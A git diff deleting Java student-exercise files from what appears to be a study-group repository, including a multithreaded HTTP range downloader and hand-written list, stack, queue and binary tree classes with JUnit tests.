deleted file mode 100644
index e652867321..0000000000
--- a/group23/1323434545/work_Other/02_downloader/src/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionImpl.java b/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionImpl.java
deleted file mode 100644
index 0764117f5b..0000000000
--- a/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package impl;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.net.HttpURLConnection;
-import java.net.MalformedURLException;
-import java.net.URL;
-
-import api.Connection;
-
-public class ConnectionImpl implements Connection{
-	private HttpURLConnection huConn;
-	
-
-	public ConnectionImpl(String url) {
-		try {
-			huConn = (HttpURLConnection) new URL(url).openConnection();
-		} catch (MalformedURLException e) {
-			e.printStackTrace();
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-	}
-		
-
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-		huConn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
-		ByteArrayOutputStream os = new ByteArrayOutputStream();
-		BufferedInputStream bis = new BufferedInputStream(huConn.getInputStream());
-		int len =0;
-		byte[] bytes = new byte[1024];
-		while((len=bis.read(bytes))!=-1){
-			os.write(bytes, 0, len);
-		}
-		os.flush();
-		return os.toByteArray();
-	}
-
-	@Override
-	public int getContentLength() {
-		return huConn.getContentLength();
-	}
-
-	@Override
-	public void close() {
-		if(null!=huConn){
-			huConn.disconnect();
-		}
-		
-	}
-
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionManagerImpl.java b/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionManagerImpl.java
deleted file mode 100644
index a24b3b800b..0000000000
--- a/group23/1323434545/work_Other/02_downloader/src/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,15 +0,0 @@
-package impl;
-
-
-
-import api.Connection;
-import api.ConnectionManager;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-	@Override
-	public Connection open(String url) {
-		return new ConnectionImpl(url);
-	}
-
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/main/DownloadThread.java b/group23/1323434545/work_Other/02_downloader/src/main/DownloadThread.java
deleted file mode 100644
index 84b17f6c9d..0000000000
--- a/group23/1323434545/work_Other/02_downloader/src/main/DownloadThread.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package main;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.RandomAccessFile;
-import java.util.concurrent.CyclicBarrier;
-
-import api.Connection;
-
-public class DownloadThread extends Thread{
-
-	Connection conn;
-	int startPos;
-	int endPos;
-	File saveLocation;
-	CyclicBarrier barrier;
-
-	public DownloadThread( Connection conn, int startPos, int endPos,File saveLocation,CyclicBarrier barrier){
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-		this.saveLocation = saveLocation;
-		this.barrier = barrier;
-	}
-
-	@Override
-	public void run() {
-		RandomAccessFile rf = null;
-		try {
-			rf = new RandomAccessFile(saveLocation,"rw");
-			rf.seek(startPos);
-			rf.write(conn.read(startPos, endPos));
-			barrier.await();
-		}catch (Exception e) {
-			e.printStackTrace();
-		}finally {
-			if(null!=rf){
-				try {
-					rf.close();
-				} catch (IOException e) {
-					e.printStackTrace();
-				}
-			}
-			if(null!=conn){
-				conn.close();
-			}
-			
-		}
-	}
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/main/FileDownloader.java b/group23/1323434545/work_Other/02_downloader/src/main/FileDownloader.java
deleted file mode 100644
index 8febebeada..0000000000
--- a/group23/1323434545/work_Other/02_downloader/src/main/FileDownloader.java
+++ /dev/null
@@ -1,73 +0,0 @@
-package main;
-
-import java.io.File;
-import java.util.concurrent.CyclicBarrier;
-import api.ConnectionException;
-import api.ConnectionManager;
-import api.DownloadListener;
-import impl.ConnectionManagerImpl;
-
-public class FileDownloader {
-	
-	String url;
-	File saveLocation;
-	
-	DownloadListener listener;
-	
-	ConnectionManager cm;
-	
-
-	public FileDownloader(String url,File saveLocation) {
-		this.url = url;
-		this.saveLocation = saveLocation;
-	}
-	
-	
-	public void execute() throws ConnectionException{
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		
-		cm = new ConnectionManagerImpl();
-		int length = cm.open(this.url).getContentLength();
-		System.out.println("文件长度:"+length);
-		long time = System.currentTimeMillis();
-		CyclicBarrier barrier = new CyclicBarrier(3, new Runnable() {
-			@Override
-			public void run() {
-				listener.notifyFinished();
-				System.out.println("耗时:"+(System.currentTimeMillis()-time)/1000+"秒");
-			}
-		});
-		
-		new DownloadThread(cm.open(this.url),0,length/3-1,saveLocation,barrier).start();
-		new DownloadThread(cm.open(this.url),length/3,length*2/3-1,saveLocation,barrier).start();
-		new DownloadThread(cm.open(this.url),length*2/3,length-1,saveLocation,barrier).start();
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	
-	
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-	
-	
-}
\ No newline at end of file
diff --git a/group23/1323434545/work_Other/02_downloader/src/test/DownloaderTest.java b/group23/1323434545/work_Other/02_downloader/src/test/DownloaderTest.java
deleted file mode 100644
index 220c23d57e..0000000000
--- a/group23/1323434545/work_Other/02_downloader/src/test/DownloaderTest.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package test;
-
-import java.io.File;
-
-import api.ConnectionException;
-import api.DownloadListener;
-import main.FileDownloader;
-
-public class DownloaderTest {
-	public static void main(String[] args) throws ConnectionException {
-		FileDownloader fd = new FileDownloader("http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.13/bin/apache-tomcat-8.5.13.exe",new File("E:\\tomcat.exe"));
-		fd.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				System.out.println("下载完了!");
-			}
-		});
-		fd.execute();
-	}
-
-}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/ArrayList.java b/group23/381519422/DataStructure/src/com/xiaol/study/ArrayList.java
deleted file mode 100644
index 53fec62e67..0000000000
--- a/group23/381519422/DataStructure/src/com/xiaol/study/ArrayList.java
+++ /dev/null
@@ -1,94 +0,0 @@
-package com.xiaol.study;
-
-/**
- * @Description TODO
- * @date 创建时间：2017年3月4日 下午11:03:26
- */
-public class ArrayList implements List {
-
-	// 记录有多少元素
-	private int size = 0;
-
-	// 存放元素的数组
-	private Object[] elementData = new Object[10];
-
-	// 添加元素
-	public void add(Object o) {
-		checkSizeAndGrow();
-		elementData[size++] = o;
-	}
-
-	// 检查数组容量大小，不足就扩容
-	private void checkSizeAndGrow() {
-		if (size >= elementData.length) {
-			Object[] oldData = elementData;
-			elementData = new Object[size * 2];
-			System.arraycopy(oldData, 0, elementData, 0, size);
-		}
-	}
-
-	// 在指定位置添加元素
-	public void add(int index, Object o) {
-		checkIndex(index);
-		checkSizeAndGrow();
-		// 把index位置的元素往后移一位
-		System.arraycopy(elementData, index, elementData, index + 1, size - index);
-		elementData[index] = o;
-		size++;
-	}
-
-	// 检查插入元素的位置是否非法
-	private void checkIndex(int index) {
-		if (index < 0 || index > size) {
-			throw new RuntimeException("参数非法");
-		}
-	}
-
-	// 获取指定位置元素
-	public Object get(int index) {
-		checkIndex(index);
-		return elementData[index];
-	}
-
-	// 移除指定位置元素
-	public Object remove(int index) {
-		checkIndex(index);
-		Object returnVal = elementData[index];
-		System.arraycopy(elementData, index + 1, elementData, index, size - index - 1);
-		size--;
-		return returnVal;
-	}
-
-	// 获取ArrayList元素数量
-	public int size() {
-		return size;
-	}
-
-	// 获取迭代器
-	public Iterator iterator() {
-		return new ArrayListIterator();
-	}
-
-	// 尽量实现迭代器
-	private class ArrayListIterator implements Iterator {
-
-		ArrayList list = null;
-
-		@Override
-		public boolean hasNext() {
-
-			return false;
-		}
-
-		@Override
-		public Object next() {
-			return null;
-		}
-
-		public Object remove() {
-			return null;
-		}
-
-	}
-
-}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/ArrayListTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/ArrayListTest.java
deleted file mode 100644
index fc54a78e47..0000000000
--- a/group23/381519422/DataStructure/src/com/xiaol/study/ArrayListTest.java
+++ /dev/null
@@ -1,82 +0,0 @@
-package com.xiaol.study;
-
-import static org.junit.Assert.assertEquals;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-public class ArrayListTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testAddObject() {
-		ArrayList list = new ArrayList();
-		list.add("a");
-		list.add("b");
-		list.add("c");
-		list.add("d");
-		list.add("e");
-		list.add("f");
-		list.add(1);
-		list.add(2);
-		list.add(3);
-		list.add(4);
-		list.add(5);
-		list.add(6);
-		assertEquals(12, list.size());
-	}
-
-	@Test
-	public void testAddIntObject() {
-		ArrayList list = new ArrayList();
-		list.add(1);
-		list.add(2);
-		list.add(0, 3);
-		assertEquals(3, list.get(0));
-		assertEquals(1, list.get(1));
-		assertEquals(2, list.get(2));
-		assertEquals(3, list.size());
-	}
-
-	@Test
-	public void testGet() {
-		ArrayList list = new ArrayList();
-		list.add(1);
-		list.add(2);
-		list.add(0, 3);
-		assertEquals(3, list.get(0));
-		assertEquals(1, list.get(1));
-		assertEquals(2, list.get(2));
-		assertEquals(3, list.size());
-	}
-
-	@Test
-	public void testRemove() {
-		ArrayList list = new ArrayList();
-		list.add(1);
-		list.add(2);
-		list.add(0, 3);
-		assertEquals(3, list.remove(0));
-		assertEquals(1, list.remove(0));
-		assertEquals(2, list.remove(0));
-		assertEquals(0, list.size());
-	}
-
-	@Test
-	public void testSize() {
-		ArrayList list = new ArrayList();
-		list.add(1);
-		list.add(2);
-		list.add(0, 3);
-		assertEquals(3, list.size());
-	}
-
-}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNode.java b/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNode.java
deleted file mode 100644
index 7572a945df..0000000000
--- a/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNode.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.xiaol.study;
-
-/**
- * @Description TODO
- * @date 创建时间：2017年3月5日 上午12:57:18
- */
-public class BinaryTreeNode {
-	// 要求，左节点比父节点小，右节点比父节点大
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-
-	public BinaryTreeNode insert(Object o) {
-		// 当前没有数据就放入当前节点
-		if (data == null) {
-			this.data = o;
-		} else if ((int) data >= (int) o) {// 放入左节点
-			if (left == null) {
-				left = new BinaryTreeNode();
-				left.setData(o);
-			} else {
-				left.insert(o);
-			}
-		} else if ((int) data < (int) o) {// 放入右节点
-			if (right == null) {
-				right = new BinaryTreeNode();
-				right.setData(o);
-			} else {
-				right.insert(o);
-			}
-		}
-		return this;
-	}
-
-	public Object getData() {
-		return data;
-	}
-
-	public void setData(Object data) {
-		this.data = data;
-	}
-
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-
-}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNodeTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNodeTest.java
deleted file mode 100644
index 7e028ac8a5..0000000000
--- a/group23/381519422/DataStructure/src/com/xiaol/study/BinaryTreeNodeTest.java
+++ /dev/null
@@ -1,82 +0,0 @@
-package com.xiaol.study;
-
-import static org.junit.Assert.*;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-public class BinaryTreeNodeTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testInsert() {
-		BinaryTreeNode btn = new BinaryTreeNode();
-		btn.insert(1);
-		btn.insert(2);
-		btn.insert(0);
-		btn.insert(3);
-		assertEquals(0, btn.getLeft().getData());
-		assertEquals(1, btn.getData());
-		assertEquals(2, btn.getRight().getData());
-		assertEquals(3, btn.getRight().getRight().getData());
-	}
-
-	@Test
-	public void testGetData() {
-		BinaryTreeNode btn = new BinaryTreeNode();
-		btn.insert(1);
-		assertEquals(1, btn.getData());
-	}
-
-	@Test
-	public void testSetData() {
-		BinaryTreeNode btn = new BinaryTreeNode();
-		btn.setData(1);
-		assertEquals(1, btn.getData());
-	}
-
-	@Test
-	public void testGetLeft() {
-		BinaryTreeNode btn = new BinaryTreeNode();
-		btn.insert(1);
-		btn.insert(0);
-		assertEquals(0, btn.getLeft().getData());
-	}
-
-	@Test
-	public void testSetLeft() {
-		BinaryTreeNode btn = new BinaryTreeNode();
-		btn.insert(1);
-		BinaryTreeNode left = new BinaryTreeNode();
-		left.setData(2);
-		btn.setLeft(left);
-		assertEquals(2, btn.getLeft().getData());
-	}
-
-	@Test
-	public void testGetRight() {
-		BinaryTreeNode btn = new BinaryTreeNode();
-		btn.insert(1);
-		btn.insert(2);
-		assertEquals(2, btn.getRight().getData());
-	}
-
-	@Test
-	public void testSetRight() {
-		BinaryTreeNode btn = new BinaryTreeNode();
-		btn.insert(1);
-		BinaryTreeNode right = new BinaryTreeNode();
-		right.setData(2);
-		btn.setRight(right);
-		assertEquals(2, btn.getRight().getData());
-	}
-
-}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/Iterator.java b/group23/381519422/DataStructure/src/com/xiaol/study/Iterator.java
deleted file mode 100644
index 3f9192d422..0000000000
--- a/group23/381519422/DataStructure/src/com/xiaol/study/Iterator.java
+++ /dev/null
@@ -1,12 +0,0 @@
-package com.xiaol.study;
-
-/**
- * @Description TODO
- * @date 创建时间：2017年3月5日 上午1:12:05
- */
-public interface Iterator {
-
-	public boolean hasNext();
-
-	public Object next();
-}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/LinkedList.java b/group23/381519422/DataStructure/src/com/xiaol/study/LinkedList.java
deleted file mode 100644
index 2b3104756e..0000000000
--- a/group23/381519422/DataStructure/src/com/xiaol/study/LinkedList.java
+++ /dev/null
@@ -1,253 +0,0 @@
-package com.xiaol.study;
-
-/**
- * @Description TODO
- * @date 创建时间：2017年3月5日 上午12:30:18
- */
-public class LinkedList implements List {
-
-	// 头指针
-	private Node head;
-
-	// 最后一个节点
-	private Node lastNode;
-
-	// 链表长度
-	private int size;
-
-	// 添加元素到最后一个节点
-	public void add(Object o) {
-		if (null == head) {
-			head = new Node(o);
-			head.next = null;
-			lastNode = head;
-			size++;
-		} else {
-			lastNode.next = new Node(o);
-			lastNode = getLastNode();
-			size++;
-		}
-	}
-
-	// 获取最后一个节点
-	private Node getLastNode() {
-		Node last = head;
-		while (last.next != null) {
-			last = last.next;
-		}
-		return last;
-	}
-
-	// 获取指定位置的Node
-	private Node getIndexNode(int index) {
-		Node node = head;
-		for (int i = 0; i < index; i++) {
-			node = node.next;
-		}
-		return node;
-	}
-
-	// 添加元素到指定位置
-	public void add(int index, Object o) {
-		checkIndex(index);
-		if (index == 0) {
-			// 将head暂存为headNext
-			Node headNext = head;
-			// 创建新的head
-			Node newHead = new Node(o);
-			head = newHead;
-			head.next = headNext;
-		} else {
-			// 获取第index-1个位置的Node
-			Node node = getIndexNode(index - 1);
-			// 暂存index位置的Node
-			Node nodeNext = node.next;
-			// 向index位置插入数据
-			node.next = new Node(o);
-			node.next.next = nodeNext;
-		}
-		size++;
-	}
-
-	// 获取指定位置元素
-	public Object get(int index) {
-		checkIndex(index);
-		Node node = head;
-		for (int i = 0; i < index; i++) {
-			node = node.next;
-		}
-		return node.data;
-	}
-
-	private void checkIndex(int index) {
-		if (index < 0 || index > size) {
-			throw new RuntimeException("非法参数");
-		}
-	}
-
-	// 移除指定位置元素
-	public Object remove(int index) {
-		checkIndex(index);
-		Object data = null;
-		if (index == 0) {
-			// 新的head
-			Node newHead = head.next;
-			// 获取移除元素
-			data = head.data;
-			// 将newHead设为head
-			head = newHead;
-		} else {
-			// 获取第index-1个位置的Node
-			Node node = getIndexNode(index - 1);
-			// 获取返回的元素
-			data = node.next.data;
-			// 将index位置从链表删除
-			node.next = node.next.next;
-		}
-		size--;
-		return data;
-	}
-
-	// 获取链表长度
-	public int size() {
-		return size;
-	}
-
-	// 添加元素到第一个节点
-	public void addFirst(Object o) {
-		add(0, o);
-	}
-
-	public void addLast(Object o) {
-		Node lastNode = getLastNode();
-		lastNode.next = new Node(o);
-		size++;
-	}
-
-	// 移除第一个元素
-	public Object removeFirst() {
-		return remove(0);
-	}
-
-	// 移除最后一个元素
-	public Object removeLast() {
-		Node lastNode = getLastNode();
-		Object data = lastNode.data;
-		lastNode = null;
-		size--;
-		return data;
-	}
-
-	public Iterator iterator() {
-		return null;
-	}
-
-	// 用于存储数据的节点
-	private static class Node {
-		Object data;
-		Node next;
-
-		// 无参构造
-		private Node() {
-
-		}
-
-		// 有参构造
-		private Node(Object o) {
-			this.data = o;
-		}
-	}
-	
-	//---------------下面的方法暂时先不实现
-	// removeDuplicateValues（），removeRange（）可以不实现
-	
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){		
-		
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-	 */
-	public  void removeFirstHalf(){
-		
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public void remove(int i, int length) {
-		if (i < 0) {
-			throw new RuntimeException("非法参数");
-		}
-		Node indexNode = getIndexNode(i);
-		Node nextNode = getIndexNode(i);
-		for (int j = 0; j < length; j++) {
-			nextNode = nextNode.next;
-		}
-		indexNode.next = nextNode;
-	}
-	
-	/**
-	 * 假定当前链表和listB均包含已升序排列的整数
-	 * 从当前链表中取出那些listB所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public int[] getElements(LinkedList list) {
-		int[] retVal = new int[list.size()];
-		for (int i = 0; i < list.size(); i++) {
-			int index = (int) list.get(i);
-			Node indexNode = getIndexNode(index);
-			int data = (int) indexNode.data;
-			retVal[i] = data;
-		}
-		return retVal;
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在listB中出现的元素 
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-		
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-		
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		return null;
-	}
-}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/LinkedListTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/LinkedListTest.java
deleted file mode 100644
index f6399c1a1a..0000000000
--- a/group23/381519422/DataStructure/src/com/xiaol/study/LinkedListTest.java
+++ /dev/null
@@ -1,131 +0,0 @@
-package com.xiaol.study;
-
-import static org.junit.Assert.assertEquals;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-public class LinkedListTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testAddObject() {
-		LinkedList ll = new LinkedList();
-		ll.add(1);
-		ll.add(2);
-		ll.add(3);
-		assertEquals(1, ll.get(0));
-		assertEquals(2, ll.get(1));
-		assertEquals(3, ll.get(2));
-	}
-
-	@Test
-	public void testAddIntObject() {
-		LinkedList ll = new LinkedList();
-		ll.add(1);
-		ll.add(2);
-		ll.add(3);
-		ll.add(3, 0);
-		assertEquals(1, ll.get(0));
-		assertEquals(2, ll.get(1));
-		assertEquals(3, ll.get(2));
-		assertEquals(0, ll.get(3));
-		assertEquals(4, ll.size());
-	}
-
-	@Test
-	public void testGet() {
-		LinkedList ll = new LinkedList();
-		ll.add(1);
-		ll.add(2);
-		ll.add(3);
-		ll.add(3, 0);
-		assertEquals(1, ll.get(0));
-		assertEquals(2, ll.get(1));
-		assertEquals(3, ll.get(2));
-		assertEquals(0, ll.get(3));
-		assertEquals(4, ll.size());
-	}
-
-	@Test
-	public void testRemove() {
-		LinkedList ll = new LinkedList();
-		ll.add(1);
-		ll.add(2);
-		ll.add(3);
-		ll.add(0, 0);
-		ll.remove(0);
-		assertEquals(1, ll.get(0));
-		assertEquals(2, ll.get(1));
-		assertEquals(3, ll.get(2));
-	}
-
-	@Test
-	public void testSize() {
-		LinkedList ll = new LinkedList();
-		ll.add(1);
-		ll.add(2);
-		ll.add(3);
-		ll.add(0, 0);
-		assertEquals(4, ll.size());
-	}
-
-	@Test
-	public void testAddFirst() {
-		LinkedList ll = new LinkedList();
-		ll.add(1);
-		ll.add(2);
-		ll.addFirst(001);
-		ll.addFirst(002);
-		assertEquals(002, ll.get(0));
-		assertEquals(001, ll.get(1));
-		assertEquals(1, ll.get(2));
-		assertEquals(2, ll.get(3));
-	}
-
-	@Test
-	public void testAddLast() {
-		LinkedList ll = new LinkedList();
-		ll.add(1);
-		ll.add(2);
-		ll.addLast(001);
-		ll.addLast(002);
-		assertEquals(1, ll.get(0));
-		assertEquals(2, ll.get(1));
-		assertEquals(001, ll.get(2));
-		assertEquals(002, ll.get(3));
-	}
-
-	@Test
-	public void testRemoveFirst() {
-		LinkedList ll = new LinkedList();
-		ll.add(1);
-		ll.add(2);
-		ll.add(3);
-		ll.removeFirst();
-		ll.removeFirst();
-		assertEquals(3, ll.get(0));
-		assertEquals(1, ll.size());
-	}
-
-	@Test
-	public void testRemoveLast() {
-		LinkedList ll = new LinkedList();
-		ll.add(1);
-		ll.add(2);
-		ll.add(3);
-		ll.removeLast();
-		assertEquals(1, ll.get(0));
-		assertEquals(2, ll.get(1));
-		assertEquals(2, ll.size());
-	}
-
-}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/List.java b/group23/381519422/DataStructure/src/com/xiaol/study/List.java
deleted file mode 100644
index 870635c7bb..0000000000
--- a/group23/381519422/DataStructure/src/com/xiaol/study/List.java
+++ /dev/null
@@ -1,13 +0,0 @@
-package com.xiaol.study;
-
-public interface List {
-	public void add(Object o);
-
-	public void add(int index, Object o);
-
-	public Object get(int index);
-
-	public Object remove(int index);
-
-	public int size();
-}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/Queue.java b/group23/381519422/DataStructure/src/com/xiaol/study/Queue.java
deleted file mode 100644
index 6a18fe5c4e..0000000000
--- a/group23/381519422/DataStructure/src/com/xiaol/study/Queue.java
+++ /dev/null
@@ -1,41 +0,0 @@
-package com.xiaol.study;
-
-import java.util.LinkedList;
-
-/**
- * @Description TODO
- * @date 创建时间：2017年3月5日 上午12:51:34
- */
-public class Queue {
-
-	// 队列
-	private LinkedList elementData = new LinkedList();
-	// 队列长度
-	private int size;
-
-	// 添加元素到队列尾
-	public void enQueue(Object o) {
-		elementData.add(o);
-		size++;
-	}
-
-	// 移除队列头的元素
-	public Object deQueue() {
-		Object data = elementData.removeLast();
-		size--;
-		return data;
-	}
-
-	// 队列是否为空
-	public boolean isEmpty() {
-		if (size == 0) {
-			return true;
-		}
-		return false;
-	}
-
-	// 队列长度
-	public int size() {
-		return size;
-	}
-}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/QueueTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/QueueTest.java
deleted file mode 100644
index a89e8840ce..0000000000
--- a/group23/381519422/DataStructure/src/com/xiaol/study/QueueTest.java
+++ /dev/null
@@ -1,64 +0,0 @@
-package com.xiaol.study;
-
-import static org.junit.Assert.*;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-public class QueueTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEnQueue() {
-		Queue q = new Queue();
-		assertEquals(0, q.size());
-		q.enQueue(1);
-		q.enQueue(2);
-		assertEquals(2, q.size());
-	}
-
-	@Test
-	public void testDeQueue() {
-		Queue q = new Queue();
-		assertEquals(0, q.size());
-		q.enQueue(1);
-		q.enQueue(2);
-		assertEquals(2, q.size());
-		q.deQueue();
-		q.deQueue();
-		assertEquals(0, q.size());
-	}
-
-	@Test
-	public void testIsEmpty() {
-		Queue q = new Queue();
-		assertEquals(true, q.isEmpty());
-		q.enQueue(1);
-		q.enQueue(2);
-		assertEquals(false, q.isEmpty());
-		q.deQueue();
-		q.deQueue();
-		assertEquals(true, q.isEmpty());
-	}
-
-	@Test
-	public void testSize() {
-		Queue q = new Queue();
-		assertEquals(0, q.size());
-		q.enQueue(1);
-		q.enQueue(2);
-		assertEquals(2, q.size());
-		q.deQueue();
-		q.deQueue();
-		assertEquals(0, q.size());
-	}
-
-}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/Stack.java b/group23/381519422/DataStructure/src/com/xiaol/study/Stack.java
deleted file mode 100644
index 6e1eaf2cf8..0000000000
--- a/group23/381519422/DataStructure/src/com/xiaol/study/Stack.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package com.xiaol.study;
-
-import java.util.ArrayList;
-
-/**
- * @Description TODO
- * @date 创建时间：2017年3月5日 上午12:47:15
- */
-public class Stack {
-	// 存数据的List
-	private ArrayList elementData = new ArrayList();
-
-	// 栈元素数量
-	private int size;
-
-	// 压栈
-	public void push(Object o) {
-		elementData.add(o);
-		size++;
-	}
-
-	// 弹出栈顶元素
-	public Object pop() {
-		if (size == 0) {
-			throw new RuntimeException("Stack is Empty");
-		}
-		Object data = elementData.remove(size - 1);
-		size--;
-		return data;
-	}
-
-	// 获取栈顶元素
-	public Object peek() {
-		return elementData.get(size - 1);
-	}
-
-	// 是否为空
-	public boolean isEmpty() {
-		if (size == 0) {
-			return true;
-		}
-		return false;
-	}
-
-	// 栈大小
-	public int size() {
-		return size;
-	}
-}
diff --git a/group23/381519422/DataStructure/src/com/xiaol/study/StackTest.java b/group23/381519422/DataStructure/src/com/xiaol/study/StackTest.java
deleted file mode 100644
index 90eae7470d..0000000000
--- a/group23/381519422/DataStructure/src/com/xiaol/study/StackTest.java
+++ /dev/null
@@ -1,68 +0,0 @@
-package com.xiaol.study;
-
-import static org.junit.Assert.*;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-public class StackTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testPush() {
-		Stack s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		assertEquals(3, s.size());
-	}
-
-	@Test
-	public void testPop() {
-		Stack s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		assertEquals(3, s.pop());
-		assertEquals(2, s.pop());
-		assertEquals(1, s.pop());
-		assertEquals(0, s.size());
-	}
-
-	@Test
-	public void testPeek() {
-		Stack s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		assertEquals(3, s.peek());
-	}
-
-	@Test
-	public void testIsEmpty() {
-		Stack s = new Stack();
-		assertEquals(true, s.isEmpty());
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		assertEquals(false, s.isEmpty());
-	}
-
-	@Test
-	public void testSize() {
-		Stack s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		assertEquals(3, s.size());
-	}
-
-}
diff --git a/group23/381519422/array/.classpath b/group23/381519422/array/.classpath
deleted file mode 100644
index 3e0fb272a8..0000000000
--- a/group23/381519422/array/.classpath
+++ /dev/null
@@ -1,7 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<classpath>
